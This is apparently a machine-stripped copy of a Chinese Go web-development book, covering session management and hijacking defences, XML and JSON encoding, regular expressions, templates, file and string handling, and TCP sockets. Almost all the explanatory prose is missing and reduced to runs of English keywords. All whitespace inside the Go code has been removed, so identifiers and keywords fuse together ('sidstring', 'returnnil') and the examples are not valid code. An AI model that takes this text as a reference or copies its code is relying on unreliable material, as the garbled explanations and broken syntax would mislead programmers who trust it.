func(pder*Provider)SessionInit(sidstring)(session.Session,error){pder.lock.Lock()deferpder.lock.Unlock()v:=make(map[interface{}]interface{},0)newsess:=&SessionStore{sid:sid,timeAccessed:time.Now(),value:v}element:=pder.list.PushBack(newsess)pder.sessions[sid]=elementreturnnewsess,nil}

func(pder*Provider)SessionRead(sidstring)(session.Session,error){ifelement,ok:=pder.sessions[sid];ok{returnelement.Value.(*SessionStore),nil}else{sess,err:=pder.SessionInit(sid)returnsess,err}returnnil,nil}

func(pder*Provider)SessionDestroy(sidstring)error{ifelement,ok:=pder.sessions[sid];ok{delete(pder.sessions,sid)pder.list.Remove(element)returnnil}returnnil}

func(pder*Provider)SessionGC(maxlifetimeint64){pder.lock.Lock()deferpder.lock.Unlock()

for{element:=pder.list.Back()ifelement==nil{break}if(element.Value.(*SessionStore).timeAccessed.Unix()+maxlifetime)<time.Now().Unix(){pder.list.Remove(element)delete(pder.sessions,element.Value.(*SessionStore)

.sid)}else{break}}}

func(pder*Provider)SessionUpdate(sidstring)error{pder.lock.Lock()deferpder.lock.Unlock()ifelement,ok:=pder.sessions[sid];ok{element.Value.(*SessionStore).timeAccessed=time.Now()pder.list.MoveToFront(element)returnnil}returnnil}

funcinit(){pder.sessions=make(map[string]*list.Element,0)session.Register("memory",pder)}

sessioninitsession

import("github.com/astaxie/session"_"github.com/astaxie/session/providers/memory")

importmemoryinitsessionsession

varglobalSessions*session.Manager

//initfuncinit(){globalSessions,_=session.NewManager("memory","gosessionid",3600)goglobalSessions.GC()

}

links

: Gosession: session

6.4 sessionsessionsessionsession.

session

session

count

funccount(whttp.ResponseWriter,r*http.Request){sess:=globalSessions.SessionStart(w,r)ct:=sess.Get("countnum")ifct==nil{sess.Set("countnum",1)}else{sess.Set("countnum",(ct.(int)+1))}t,_:=template.ParseFiles("count.gtpl")w.Header().Set("Content-Type","text/html")t.Execute(w,sess.Get("countnum"))}

count.gtpl

Hi.Nowcount:{{.}}

6.4count

6(chromecookie

6.5cookie

:(firefox),chromefirefoxcookiecookiecookiefirefox:

6.6cookie

6.7session

sessionIDcookiefirefoxchromegoservergosessionid“”goserverhttpgosessionidHTTPgosessionidchrome“”sessionchrome“”

session

cookieonly token

sessionsessionsession

sessionIDcookieURLcookiehttponlytrue,cookiecookieXSSsessioncookieURLsessionID

tokenformtokentoken

h:=md5.New()salt:="astaxie%^7&8888"io.WriteString(h,salt+time.Now().String())token:=fmt.Sprintf("%x",h.Sum(nil))ifr.Form["token"]!=token{//}sess.Set("token",token)

SID

sessionsessionIDsessionsession

createtime:=sess.Get("createtime")ifcreatetime==nil{sess.Set("createtime",time.Now().Unix())}elseif(createtime.(int64)+60)<(time.Now().Unix()){globalSessions.SessionDestroy(w,r)sess=globalSessions.SessionStart(w,r)}

sessionsessionID(60)IDsessionID

session sessionIDsessionIDsessionIDcookiehttponlyURLXSSsessionIDMaxAge=0sessioncookie

links

: session:

6.5sessioncookieGosessionsessionsessionProvidersessionsessionsessionsessionsesisonsession

links

: session:

7WebJsonXMlGoGoGo

XMLJavawebserverXML7.1XMLXMLAPIJSON7.2JSON7.3GoWebMVCGoWebV

links

:: XML

7.1XMLXMLWebXMLGoXML

XMLGoXML

xml

<?xmlversion="1.0"encoding="utf-8"?><serversversion="1"><server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server>

<server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server></servers>

XMLIPGoXML

XML

XMLxml Unmarshal

funcUnmarshal(data[]byte,vinterface{})error

dataXMLvinterfaceXMLstructstructXML

packagemain

import("encoding/xml""fmt""io/ioutil""os")

typeRecurlyserversstruct{XMLNamexml.Name`xml:"servers"`Versionstring`xml:"version,attr"`Svs[]server`xml:"server"`Descriptionstring`xml:",innerxml"`}

typeserverstruct{XMLNamexml.Name`xml:"server"`ServerNamestring`xml:"serverName"`

ServerIPstring`xml:"serverIP"`}

funcmain(){file,err:=os.Open("servers.xml")//Forreadaccess.iferr!=nil{fmt.Printf("error:%v",err)return}deferfile.Close()data,err:=ioutil.ReadAll(file)iferr!=nil{fmt.Printf("error:%v",err)return}v:=Recurlyservers{}err=xml.Unmarshal(data,&v)iferr!=nil{fmt.Printf("error:%v",err)return}

fmt.Println(v)}

XMLgostructxml.Unmarshalxmlstruct

{{servers}1[{{server}Shanghai_VPN127.0.0.1}{{server}Beijing_VPN127.0.0.2}]<server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server>}

xmlstruct xml.Unmarshalstruct xml:"serverName",structstruct

tag Unmarshal

funcUnmarshal(data[]byte,vinterface{})error

XMLstructslicestringXMLv UnmarshalXMLstructtagtagXML

GotagXMLstructstructtagreflect

XMLstruct

structstring[]bytetag",innerxml"UnmarshalxmlDescription

<server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server>

structXMLNamexml.Nameelement,serversstructtagXMLelementelementservernameserveripstructtag",attr"elementversionstructtag "a>b>c",xmlabcstructtag"-",xmlstructtag",any"XMLtag",comments"[]bytestring,

structtagtagXMLtagXMLelementslice

goxmlstruct

XML

XMLgoxml MarshalMarshalIndent

funcMarshal(vinterface{})([]byte,error)funcMarshalIndent(vinterface{},prefix,indentstring)([]byte,error)

XMLXML

XML

packagemain

import("encoding/xml""fmt""os")

typeServersstruct{XMLNamexml.Name`xml:"servers"`Versionstring`xml:"version,attr"`Svs[]server`xml:"server"`}

typeserverstruct{ServerNamestring`xml:"serverName"`ServerIPstring`xml:"serverIP"`}

funcmain(){v:=&Servers{Version:"1"}v.Svs=append(v.Svs,server{"Shanghai_VPN","127.0.0.1"})v.Svs=append(v.Svs,server{"Beijing_VPN","127.0.0.2"})output,err:=xml.MarshalIndent(v,"","")iferr!=nil{fmt.Printf("error:%v\n",err)}

os.Stdout.Write([]byte(xml.Header))

os.Stdout.Write(output)}

<?xmlversion="1.0"encoding="UTF-8"?><serversversion="1"><server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server></servers>

os.Stdout.Write([]byte(xml.Header)) xml.MarshalIndentxml.MarshalXMLxmlxmlHeader

Marshalvinterface{}xmlXML

varrayslice valuevMarshalvinterfaceinterfacev

XMLelementstruct

vstructXMLNametagxml.NameXMLNamestructtagstructmarshall

structtagxml

XMLNametag"-"tag"name,attr"nameXMLversiontag",attr"structXMLnametag",chardata"xmlcharacterdataelementtag",innerxml"tag",comment"xml"--"tag"omitempty",XMLfalse0nilnil0array,slice,mapstringtag"a>b>c"abbc

FirstNamestring`xml:"name>first"`LastNamestring`xml:"name>last"`

<name><first>Asta</first><last>Xie</last></name>

Goxml/XMLXMLstructtagstructtagtagtag

links

:: Json

7.2JSONJSONJavascriptObjectNotationJSONJavascriptJSONCJSONXMLXMLJSONJSONXML,,JSONJSONWebGoJSONGoJSONJSON

json

{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}

JSONgojsonJSON

JSON

JSONJSONGoJSON

funcUnmarshal(data[]byte,vinterface{})error

packagemain

import("encoding/json""fmt")

typeServerstruct{ServerNamestringServerIPstring}

typeServerslicestruct{Servers[]Server}

funcmain(){

varsServerslicestr:=`{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}`json.Unmarshal([]byte(str),&s)fmt.Println(s)}

jsonsliceJSONKEYjsonstructJSONkey Foo

tagFoostruct()Foo

FOOFoO

(JSONJSON

interface

JSON

interface{}jsonJSONmap[string]interface{}[]interface{}JSONGoJSON

boolJSONbooleans,float64JSONnumbers,stringJSONstrings,nilJSONnull.

JSON

b:=[]byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`)

interface{}

varfinterface{}err:=json.Unmarshal(b,&f)

fmapkeystringinterface{}

f=map[string]interface{}{"Name":"Wednesday","Age":6,"Parents":[]interface{}{"Gomez","Morticia",},}

m:=f.(map[string]interface{})

fork,v:=rangem{switchvv:=v.(type){casestring:fmt.Println(k,"isstring",vv)caseint:fmt.Println(k,"isint",vv)casefloat64:fmt.Println(k,"isfloat64",vv)case[]interface{}:fmt.Println(k,"isanarray:")fori,u:=rangevv{fmt.Println(i,u)}

default:fmt.Println(k,"isofatypeIdon'tknowhowtohandle")}}

interface{}typeassertJSON

bitly simplejson,JSON

js,err:=NewJson([]byte(`{"test":{"array":[1,"2",3],"int":10,"float":5.150,"bignum":9223372036854775807,"string":"simplejson","bool":true}}`))

arr,_:=js.Get("test").Get("array").Array()i,_:=js.Get("test").Get("int").Int()ms:=js.Get("test").Get("string").MustString()

JSON, https://github.com/bitly/go-simplejson

JSON

JSONJSON Marshal

funcMarshal(vinterface{})([]byte,error)

packagemain

import("encoding/json""fmt")

typeServerstruct{ServerNamestringServerIPstring}

typeServerslicestruct{Servers[]Server}

funcmain(){varsServerslices.Servers=append(s.Servers,Server{ServerName:"Shanghai_VPN",ServerIP:"127.0.0.1"})s.Servers=append(s.Servers,Server{ServerName:"Beijing_VPN",ServerIP:"127.0.0.2"})b,err:=json.Marshal(s)iferr!=nil{fmt.Println("jsonerr:",err)}fmt.Println(string(b))}

{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]}

JSONstructtag

typeServerstruct{ServerNamestring`json:"serverName"`

ServerIPstring`json:"serverIP"`}

typeServerslicestruct{Servers[]Server`json:"servers"`}

JSONJSON

JSONstructtag:

tag"-"JSONtagJSONserverNametag"omitempty"JSONbool,string,int,int64tag ",string"JSONJSON

typeServerstruct{//IDJSONIDint`json:"-"`

//ServerName2JSONServerNamestring`json:"serverName"`ServerName2string`json:"serverName2,string"`

//ServerIPJSONServerIPstring`json:"serverIP,omitempty"`}

s:=Server{ID:3,ServerName:`Go"1.0"`,ServerName2:`Go"1.0"`,ServerIP:``,}b,_:=json.Marshal(s)os.Stdout.Write(b)

{"serverName":"Go\"1.0\"","serverName2":"\"Go\\\"1.0\\\"\""}

Marshal

JSONstringkeymapmap[string]T(TGo)Channel,complexfunctionJSONJSONnull

GojsonJSON go-simplejsonWeb

links

: XML:

7.3Web,

GoregexpGoGoRE2\Chttp://code.google.com/p/re2/wiki/Syntax

strings(ContainsIndex)(Replace)(SplitJoin) strings

UTF-8Go regexp

regexptruefalse

funcMatch(patternstring,b[]byte)(matchedbool,errorerror)

funcMatchReader(patternstring,rio.RuneReader)(matchedbool,errorerror)funcMatchString(patternstring,sstring)(matchedbool,errorerror)

patterntrueerrorbytesliceRuneReaderstring

IP

funcIsIP(ipstring)(bbool){ifm,_:=regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$",ip);!m{returnfalse}returntrue}

regexppattern

funcmain(){iflen(os.Args)==1{fmt.Println("Usage:regexp[string]")os.Exit(1)}elseifm,_:=regexp.MatchString("^[0-9]+$",os.Args[1]);m{fmt.Println("" )}else{fmt.Println("" )}

}

Match(Reader|String)

Match

packagemain

import("fmt""io/ioutil""net/http""regexp""strings")

funcmain(){resp,err:=http.Get("http://www.baidu.com")iferr!=nil{fmt.Println("httpgeterror.")}deferresp.Body.Close()body,err:=ioutil.ReadAll(resp.Body)iferr!=nil{fmt.Println("httpreaderror")return}

src:=string(body)

//HTMLre,_:=regexp.Compile("\\<[\\S\\s]+?\\>")src=re.ReplaceAllStringFunc(src,strings.ToLower)

//STYLEre,_=regexp.Compile("\\<style[\\S\\s]+?\\</style\\>")

src=re.ReplaceAllString(src,"")

//SCRIPTre,_=regexp.Compile("\\<script[\\S\\s]+?\\</script\\>")src=re.ReplaceAllString(src,"")

//HTMLre,_=regexp.Compile("\\<[\\S\\s]+?\\>")src=re.ReplaceAllString(src,"\n")

//re,_=regexp.Compile("\\s{2,}")src=re.ReplaceAllString(src,"\n")

fmt.Println(strings.TrimSpace(src))}

CompileRegexpRegexp

funcCompile(exprstring)(*Regexp,error)funcCompilePOSIX(exprstring)(*Regexp,error)funcMustCompile(strstring)*RegexpfuncMustCompilePOSIX(strstring)*Regexp

CompilePOSIXCompilePOSIXPOSIXCompile([a-z]{2,4}"aa09aaa88aaaa"CompilePOSIXaaaaCompileaa)MustpanicMust

Regexpstruct

func(re*Regexp)Find(b[]byte)[]bytefunc(re*Regexp)FindAll(b[]byte,nint)[][]bytefunc(re*Regexp)FindAllIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindAllString(sstring,nint)[]stringfunc(re*Regexp)FindAllStringIndex(sstring,nint)[][]intfunc(re*Regexp)FindAllStringSubmatch(sstring,nint)[][]st

ringfunc(re*Regexp)FindAllStringSubmatchIndex(sstring,nint)[][]intfunc(re*Regexp)FindAllSubmatch(b[]byte,nint)[][][]bytefunc(re*Regexp)FindAllSubmatchIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindIndex(b[]byte)(loc[]int)func(re*Regexp)FindReaderIndex(rio.RuneReader)(loc[]int)func(re*Regexp)FindReaderSubmatchIndex(rio.RuneReader)[]int

func(re*Regexp)FindString(sstring)stringfunc(re*Regexp)FindStringIndex(sstring)(loc[]int)func(re*Regexp)FindStringSubmatch(sstring)[]stringfunc(re*Regexp)FindStringSubmatchIndex(sstring)[]intfunc(re*Regexp)FindSubmatch(b[]byte)[][]bytefunc(re*Regexp)FindSubmatchIndex(b[]byte)[]int

18(byteslicestringio.RuneReader)

func(re*Regexp)Find(b[]byte)[]bytefunc(re*Regexp)FindAll(b[]byte,nint)[][]bytefunc(re*Regexp)FindAllIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindAllSubmatch(b[]byte,nint)[][][]bytefunc(re*Regexp)FindAllSubmatchIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindIndex(b[]byte)(loc[]int)func(re*Regexp)FindSubmatch(b[]byte)[][]bytefunc(re*Regexp)FindSubmatchIndex(b[]byte)[]int

packagemain

import("fmt""regexp")

funcmain(){a:="IamlearningGolanguage"

re,_:=regexp.Compile("[a-z]{2,4}")

//one:=re.Find([]byte(a))fmt.Println("Find:",string(one))

//slice,n0all:=re.FindAll([]byte(a),-1)fmt.Println("FindAll",all)

//index,index:=re.FindIndex([]byte(a))fmt.Println("FindIndex",index)

//indexnallindex:=re.FindAllIndex([]byte(a),-1)fmt.Println("FindAllIndex",allindex)

re2,_:=regexp.Compile("am(.*)lang(.*)")

//Submatch,()()//"amlearningGolanguage"//"learningGo"//"uage"submatch:=re2.FindSubmatch([]byte(a))fmt.Println("FindSubmatch",submatch)for_,v:=rangesubmatch{fmt.Println(string(v))}

//FindIndexsubmatchindex:=re2.FindSubmatchIndex([]byte(a))fmt.Println(submatchindex)

//FindAllSubmatch,submatchall:=re2.FindAllSubmatch([]byte(a),-1)fmt.Println(submatchall)

//FindAllSubmatchIndex,indexsubmatchallindex:=re2.FindAllSubmatchIndex([]byte(a),-1)fmt.Println(submatchallindex)}

RegexpRegexp

func(re*Regexp)Match(b[]byte)boolfunc(re*Regexp)MatchReader(rio.RuneReader)boolfunc(re*Regexp)MatchString(sstring)bool

func(re*Regexp)ReplaceAll(src,repl[]byte)[]bytefunc(re*Regexp)ReplaceAllFunc(src[]byte,replfunc([]byte)[]byte)[]bytefunc(re*Regexp)ReplaceAllLiteral(src,repl[]byte)[]bytefunc(re*Regexp)ReplaceAllLiteralString(src,replstring)stringfunc(re*Regexp)ReplaceAllString(src,replstring)stringfunc(re*Regexp)ReplaceAllStringFunc(srcstring,replfunc(string)string)string

Expand

func(re*Regexp)Expand(dst[]byte,template[]byte,src[]byte,match[]int)[]bytefunc(re*Regexp)ExpandString(dst[]byte,templatestring,srcstring,match[]int)[]byte

Expand

funcmain(){src:=[]byte(`callhelloalicehellobobcallhelloeve`)

pat:=regexp.MustCompile(`(?m)(call)\s+(?P<cmd>\w+)\s+(?P<arg>.+)\s*$`)res:=[]byte{}for_,s:=rangepat.FindAllSubmatchIndex(src,-1){res=pat.Expand(res,[]byte("$cmd('$arg')\n"),src,s)}fmt.Println(string(res))}

GoregexpGo

links

: Json:

7.4

MVCModelViewControllerViewHTMLJSP <%=....=%>PHP<?php.....?>

7.1

Web

Go

Go template ParseParseFileExecutemerge

funchandler(whttp.ResponseWriter,r*http.Request){t:=template.New("sometemplate")//t,_=t.ParseFiles("tmpl/welcome.html",nil)//user:=GetUser()//t.Execute(w,user)//merger}

Go

ParseParseFilesParsehandlermainos.Stdouthttp.ResponseWriteros.Stdoutio.Writer

GoGo

Go{{}} {{.}}JavaC++this {{.FieldName}},(),

packagemain

import("html/template"

"os")

typePersonstruct{UserNamestring}

funcmain(){t:=template.New("fieldnameexample")t,_=t.Parse("hello{{.UserName}}!")p:=Person{UserName:"Astaxie"}t.Execute(os.Stdout,p)}

helloAstaxie

typePersonstruct{UserNamestringemailstring//}

t,_=t.Parse("hello{{.UserName}}!{{.email}}")

{{.}}fmt

{{with…}}…{{end}}{{range…}}{{end}}

{{range}}Gorange{{with}}

packagemain

import("html/template""os")

typeFriendstruct{Fnamestring}

typePersonstruct{UserNamestringEmails[]stringFriends[]*Friend}

funcmain(){f1:=Friend{Fname:"minux.ma"}f2:=Friend{Fname:"xushiwei"}t:=template.New("fieldnameexample")t,_=t.Parse(`hello{{.UserName}}!{{range.Emails}}anemail{{.}}{{end}}{{with.Friends}}{{range.}}myfriendnameis{{.Fname}}{{end}}{{end}}`)p:=Person{UserName:"Astaxie",Emails:[]string{"astaxie@beego.me","astaxie@gmail.com"},Friends:[]*Friend{&f1,&f2}}t.Execute(os.Stdout,p)}

GoGo if-elsepipelineiffalse if-else

packagemain

import("os""text/template")

funcmain(){tEmpty:=template.New("templatetest")tEmpty=template.Must(tEmpty.Parse("pipelineifdemo:{{if``}}.{{end}}\n" ))tEmpty.Execute(os.Stdout,nil)

tWithValue:=template.New("templatetest")tWithValue=template.Must(tWithValue.Parse("pipelineifdemo:{{if`anything`}}.{{end}}\n" ))tWithValue.Execute(os.Stdout,nil)

tIfElse:=template.New("templatetest")tIfElse=template.Must(tIfElse.Parse("if-elsedemo:{{if`anything`}}if{{else}}else.{{end}}\n" ))tIfElse.Execute(os.Stdout,nil)}

if-else

if.Mail=="astaxie@gmail.com"ifbool

pipelines

Unixpipe ls|grep"beego""beego"GopipeGo {{}}pipelinesemailXSS

{{.|html}}

emailhtmlUnix

with``range``if {{end}}Go

$variable:=pipeline

{{with$x:="output"|printf"%q"}}{{$x}}{{end}}{{with$x:="output"}}{{printf"%q"$x}}{{end}}{{with$x:="output"}}{{$x|printf"%q"}}{{end}}

fmt @at astaxieatbeego.me

Go

typeFuncMapmap[string]interface{}

email emailDealGoEmailDealWith,

t=t.Funcs(template.FuncMap{"emailDeal":EmailDealWith})

EmailDealWith

funcEmailDealWith(args…interface{})string

packagemain

import("fmt""html/template""os""strings")

typeFriendstruct{Fnamestring}

typePersonstruct{UserNamestringEmails[]stringFriends[]*Friend}

funcEmailDealWith(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}//findthe@symbolsubstrs:=strings.Split(s,"@")iflen(substrs)!=2{returns}//replacethe@by"at"return(substrs[0]+"at"+substrs[1])}

funcmain(){f1:=Friend{Fname:"minux.ma"}f2:=Friend{Fname:"xushiwei"}t:=template.New("fieldnameexample")t=t.Funcs(template.FuncMap{"emailDeal":EmailDealWith})t,_=t.Parse(`hello{{.UserName}}!{{range.Emails}}

anemails{{.|emailDeal}}{{end}}{{with.Friends}}{{range.}}myfriendnameis{{.Fname}}{{end}}{{end}}`)p:=Person{UserName:"Astaxie",Emails:[]string{"astaxie@beego.me","astaxie@gmail.com"},Friends:[]*Friend{&f1,&f2}}t.Execute(os.Stdout,p)}

varbuiltins=FuncMap{"and":and,"call":call,"html":HTMLEscaper,"index":index,"js":JSEscaper,"len":length,"not":not,"or":or,"print":fmt.Sprint,"printf":fmt.Sprintf,"println":fmt.Sprintln,"urlquery":URLQueryEscaper,}

Must

MustMust

packagemain

import("fmt""text/template")

funcmain(){tOk:=template.New("first")template.Must(tOk.Parse("somestatictext/*andacomment*/"))fmt.Println("ThefirstoneparsedOK.")

template.Must(template.New("second").Parse("somestatictext{{.Name}}"))fmt.Println("ThesecondoneparsedOK.")

fmt.Println("Thenextoneoughttofail.")tErr:=template.New("checkparseerrorwithMust")template.Must(tErr.Parse("somestatictext{{.Name}"))}

ThefirstoneparsedOK.ThesecondoneparsedOK.Thenextoneoughttofail.panic:template:checkparseerrorwithMust:1:unexpected"}"incommand

Web headercontentfooterGo

{{define"" }}{{end}}

{{template"" }}

header.tmplcontent.tmplfooter.tmpl

//header.tmpl{{define"header"}}<html><head><title> </title></head><body>{{end}}

//content.tmpl{{define"content"}}{{template"header"}}<h1> </h1><ul><li>define </li><li>template </li></ul>{{template"footer"}}{{end}}

//footer.tmpl{{define"footer"}}</body></html>{{end}}

packagemain

import("fmt""os"

"text/template")

funcmain(){s1,_:=template.ParseFiles("header.tmpl","content.tmpl","footer.tmpl")s1.ExecuteTemplate(os.Stdout,"header",nil)fmt.Println()s1.ExecuteTemplate(os.Stdout,"content",nil)fmt.Println()s1.ExecuteTemplate(os.Stdout,"footer",nil)fmt.Println()s1.Execute(os.Stdout,nil)}

template.ParseFiles{{define}}map(keyvalue)ExecuteTemplateheaderfootercontentheaderfooters1.Execute

MVCVMC

links

::

7.5Web,Web,Web,,,(),Go

os

funcMkdir(namestring,permFileMode)error

nameperm0777

funcMkdirAll(pathstring,permFileMode)error

pathastaxie/test1/test2

funcRemove(namestring)error

name

funcRemoveAll(pathstring)error

pathpath

packagemain

import("fmt""os")

funcmain(){os.Mkdir("astaxie",0777)os.MkdirAll("astaxie/test1/test2",0777)err:=os.Remove("astaxie")iferr!=nil{fmt.Println(err)}os.RemoveAll("astaxie")}

funcCreate(namestring)(file*File,errError)

0666

funcNewFile(fduintptr,namestring)*File

funcOpen(namestring)(file*File,errError)

nameOpenFile

funcOpenFile(namestring,flagint,permuint32)(file*File,errError)

nameflagperm

func(file*File)Write(b[]byte)(nint,errError)

byte

func(file*File)WriteAt(b[]byte,offint64)(nint,errError)

byte

func(file*File)WriteString(sstring)(retint,errError)

string

packagemain

import("fmt""os")

funcmain(){userFile:="astaxie.txt"fout,err:=os.Create(userFile)iferr!=nil{fmt.Println(userFile,err)return}deferfout.Close()fori:=0;i<10;i++{fout.WriteString("Justatest!\r\n")fout.Write([]byte("Justatest!\r\n"))}}

func(file*File)Read(b[]byte)(nint,errError)

b

func(file*File)ReadAt(b[]byte,offint64)(nint,errError)

offb

:

packagemain

import("fmt""os")

funcmain(){userFile:="asatxie.txt"fl,err:=os.Open(userFile)iferr!=nil{fmt.Println(userFile,err)return}deferfl.Close()buf:=make([]byte,1024)for{n,_:=fl.Read(buf)if0==n{break}os.Stdout.Write(buf[:n])}}

Go

funcRemove(namestring)Error

name

links

::

7.6WebGostringsstrconv

strings

funcContains(s,substrstring)bool

ssubstrbool

fmt.Println(strings.Contains("seafood","foo"))fmt.Println(strings.Contains("seafood","bar"))fmt.Println(strings.Contains("seafood",""))fmt.Println(strings.Contains("",""))//Output://true//false//true//true

funcJoin(a[]string,sepstring)string

sliceasep

s:=[]string{"foo","bar","baz"}fmt.Println(strings.Join(s,","))//Output:foo,bar,baz

funcIndex(s,sepstring)int

ssep-1

fmt.Println(strings.Index("chicken","ken"))fmt.Println(strings.Index("chicken","dmr"))//Output:4//-1

funcRepeat(sstring,countint)string

scount

fmt.Println("ba"+strings.Repeat("na",2))//Output:banana

funcReplace(s,old,newstring,nint)string

soldnewn0

fmt.Println(strings.Replace("oinkoinkoink","k","ky",2))fmt.Println(strings.Replace("oinkoinkoink","oink","moo",-1))//Output:oinkyoinkyoink//moomoomoo

funcSplit(s,sepstring)[]string

ssepslice

fmt.Printf("%q\n",strings.Split("a,b,c",","))fmt.Printf("%q\n",strings.Split("amanaplanacanalpanama","a"))fmt.Printf("%q\n",strings.Split("xyz",""))fmt.Printf("%q\n",strings.Split("","BernardoO'Higgins"))

//Output:["a""b""c"]//["""man""plan""canalpanama"]//["""x""y""z"""]//[""]

funcTrim(sstring,cutsetstring)string

scutset

fmt.Printf("[%q]",strings.Trim("!!!Achtung!!!","!"))//Output:["Achtung"]

funcFields(sstring)[]string

sslice

fmt.Printf("Fieldsare:%q",strings.Fields("foobarbaz"))//Output:Fieldsare:["foo""bar""baz"]

strconv

Append

packagemain

import("fmt""strconv")

funcmain(){str:=make([]byte,0,100)str=strconv.AppendInt(str,4567,10)str=strconv.AppendBool(str,false)str=strconv.AppendQuote(str,"abcdefg")str=strconv.AppendQuoteRune(str,'' )fmt.Println(string(str))}

Format```Go

packagemain

import("fmt""strconv")

funcmain(){a:=strconv.FormatBool(false)b:=strconv.FormatFloat(123.23,'g',12,64)c:=strconv.FormatInt(1234,10)d:=strconv.FormatUint(12345,10)e:=strconv.Itoa(1023)fmt.Println(a,b,c,d,e)}

-Parse

```Go

packagemain

import("fmt""strconv")funccheckError(eerror){ife!=nil{fmt.Println(e)

}}funcmain(){a,err:=strconv.ParseBool("false")checkError(err)b,err:=strconv.ParseFloat("123.23",64)checkError(err)c,err:=strconv.ParseInt("1234",10,64)checkError(err)d,err:=strconv.ParseUint("12345",10,64)checkError(err)e,err:=strconv.Atoi("1023")checkError(err)fmt.Println(a,b,c,d,e)}

links

::

7.7XMLJSONXMLJSONXMLJSON()Web

links

:: Web

8Web

WebHTTPXMLJSON

WebLinuxWindowsasp.netFreeBSDJSP

WebRESTSOAP

RESTRESTHTTPHTTPmethodWebHTTPREST8.3GoREST

SOAPW3CSOAPGoSOAPGoRPC8.4GoRPC

Go21C8.1SocketSocketHTTPGoSocketHTML5webSockets8.2GowebSockets

links

:: Socket

8.1Socket

SocketSocketWebQQQQQQPPstreamPPstreamSocketSocketGoSocket

Socket

SocketUnixUnix“”“open–>write/read–>close”SocketSocketI/OSocketSocketSocket()SocketSocket

SocketSocketSOCK_STREAMSocketSOCK_DGRAMSocketTCPSocketSocketUDP

Socket

SocketPIDTCP/IP“ip”“+”ipTCP/IP

8.1

TCP/IPUNIXBSDsocketUNIXSystemVTLIsocket“Socket”

Socket

SocketTCPSocketUDPSocketTCPUDPIP

IPv4

TCP/IPIPTCP/IPTCP/IPIP4(IPv4)30

IPv432232InternetIPIPIPV4IP

127.0.0.1172.122.121.111

IPv6

IPv6IPv4IPv6128IPv61000IPv6IPv4IPQoS

2002:c0e8:82e7:0:0:0:c0e8:82e7

Go IP

GonetIP

typeIP[]byte

netIP ParseIP(sstring)IPIPv4IPv6IP:

packagemainimport("net""os"

"fmt")funcmain(){iflen(os.Args)!=2{fmt.Fprintf(os.Stderr,"Usage:%sip-addr\n",os.Args[0])os.Exit(1)}name:=os.Args[1]addr:=net.ParseIP(name)ifaddr==nil{fmt.Println("Invalidaddress")}else{fmt.Println("Theaddressis",addr.String())}os.Exit(0)}

IPIP

TCPSocket

GonetTCPConn

func(c*TCPConn)Write(b[]byte)(nint,erros.Error)func(c*TCPConn)Read(b[]byte)(nint,erros.Error)

TCPConn

TCPAddrTCP

typeTCPAddrstruct{IPIPPortint

}

GoResolveTCPAddrTCPAddr

funcResolveTCPAddr(net,addrstring)(*TCPAddr,os.Error)

net"tcp4""tcp6""tcp"TCP(IPv4-only),TCP(IPv6-only)TCP(IPv4,IPv6).addrIP"www.google.com:80""127.0.0.1:22".

TCPclient

GonetDialTCPTCP TCPConn TCPConn TCPConn

funcDialTCP(netstring,laddr,raddr*TCPAddr)(c*TCPConn,erros.Error)

net"tcp4""tcp6""tcp"TCP(IPv4-only)TCP(IPv6-only)TCP(IPv4,IPv6)laddrnilraddr

HTTPWebhttp

"HEAD/HTTP/1.0\r\n\r\n"

HTTP/1.0200OKETag:"-9985996"Last-Modified:Thu,25Mar201017:51:10GMT

Content-Length:18074Connection:closeDate:Sat,28Aug201000:43:48GMTServer:lighttpd/1.4.23

packagemain

import("fmt""io/ioutil""net""os")

funcmain(){iflen(os.Args)!=2{fmt.Fprintf(os.Stderr,"Usage:%shost:port",os.Args[0])os.Exit(1)}service:=os.Args[1]tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)conn,err:=net.DialTCP("tcp",nil,tcpAddr)checkError(err)_,err=conn.Write([]byte("HEAD/HTTP/1.0\r\n\r\n"))checkError(err)result,err:=ioutil.ReadAll(conn)checkError(err)fmt.Println(string(result))os.Exit(0)}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}

servicenet.ResolveTCPAddrtcpAddr,tcpAddrDialTCPTCPconnconnioutil.ReadAllconn

TCPserver

TCPnetnet

funcListenTCP(netstring,laddr*TCPAddr)(l*TCPListener,erros.Error)func(l*TCPListener)Accept()(cConn,erros.Error)

DialTCP7777

packagemain

import("fmt""net""os""time")

funcmain(){service:=":7777"tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)listener,err:=net.ListenTCP("tcp",tcpAddr)checkError(err)for{conn,err:=listener.Accept()iferr!=nil{continue}daytime:=time.Now().String()conn.Write([]byte(daytime))//don'tcareaboutreturnvalueconn.Close()//we'refinishedwiththisclient}

}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}

Accept forcontinue

Gogoroutine

packagemain

import("fmt""net""os""time")

